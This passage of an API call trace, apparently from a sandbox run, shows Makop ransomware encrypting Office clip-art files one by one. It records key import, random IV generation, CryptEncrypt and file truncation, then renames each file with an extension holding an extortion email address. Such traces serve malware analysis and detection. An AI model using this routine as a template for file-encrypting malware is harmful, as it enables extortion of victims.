hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.297] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.297] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.298] CloseHandle (hObject=0xf0) returned 1 [0119.299] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e42c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d14, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105280.WMF", cAlternateFileName="")) returned 1 [0119.299] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63 [0119.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.301] GetProcessHeap () returned 0x48a0000 [0119.301] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.301] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.301] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.301] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0119.306] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.306] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.306] GetProcessHeap () returned 0x48a0000 [0119.306] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.306] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.306] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.306] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.306] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.306] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.307] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.307] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.307] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.307] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.307] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.308] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2d14, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2d14, lpOverlapped=0x0) returned 1 [0119.309] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d20, dwBufLen=0x2d20 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2d20) returned 1 [0119.309] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.309] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2d20, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2d20, lpOverlapped=0x0) returned 1 [0119.309] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.310] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2df4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.310] SetEndOfFile (hFile=0xf0) returned 1 [0119.316] GetProcessHeap () returned 0x48a0000 [0119.316] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.317] GetProcessHeap () returned 0x48a0000 [0119.317] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.317] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.317] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.318] CloseHandle (hObject=0xf0) returned 1 [0119.318] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105282.WMF", cAlternateFileName="")) returned 1 [0119.318] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63 [0119.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.319] GetProcessHeap () returned 0x48a0000 [0119.319] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.319] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.319] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.320] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.325] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.325] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.325] GetProcessHeap () returned 0x48a0000 [0119.326] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.326] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.326] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.326] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.326] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.326] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.326] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.326] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.327] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.327] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.327] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.327] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.327] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x12bc, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x12bc, lpOverlapped=0x0) returned 1 [0119.329] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12c0, dwBufLen=0x12c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x12c0) returned 1 [0119.329] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.329] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x12c0, lpOverlapped=0x0) returned 1 [0119.329] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.329] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.329] SetEndOfFile (hFile=0xf0) returned 1 [0119.337] GetProcessHeap () returned 0x48a0000 [0119.337] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.337] GetProcessHeap () returned 0x48a0000 [0119.337] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.337] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.337] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.338] CloseHandle (hObject=0xf0) returned 1 [0119.338] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x19a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105286.WMF", cAlternateFileName="")) returned 1 [0119.338] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63 [0119.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.339] GetProcessHeap () returned 0x48a0000 [0119.339] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.340] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.340] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.340] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.344] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.344] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.344] GetProcessHeap () returned 0x48a0000 [0119.344] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.344] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.344] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.344] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.344] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.345] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.345] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.345] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.345] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.345] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.345] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.345] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.346] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x19a8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x19a8, lpOverlapped=0x0) returned 1 [0119.347] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19b0, dwBufLen=0x19b0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x19b0) returned 1 [0119.347] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.347] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x19b0, lpOverlapped=0x0) returned 1 [0119.347] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.347] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.348] SetEndOfFile (hFile=0xf0) returned 1 [0119.354] GetProcessHeap () returned 0x48a0000 [0119.355] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0119.355] GetProcessHeap () returned 0x48a0000 [0119.355] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0119.355] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0119.355] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0119.356] CloseHandle (hObject=0xf0) returned 1 [0119.356] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3dd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105288.WMF", cAlternateFileName="")) returned 1 [0119.356] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF") returned 63 [0119.356] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0119.357] GetProcessHeap () returned 0x48a0000 [0119.357] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0119.357] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0119.357] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0119.358] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.362] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.362] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.362] GetProcessHeap () returned 0x48a0000 [0119.362] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0119.362] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0119.362] CryptDestroyKey (hKey=0x48c7128) returned 1 [0119.362] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0119.362] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0119.363] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0119.363] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0119.363] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0119.363] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0119.363] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0119.363] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0119.363] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.364] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3dd8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3dd8, lpOverlapped=0x0) returned 1 [0119.366] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3de0, dwBufLen=0x3de0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3de0) returned 1 [0119.366] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.366] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, 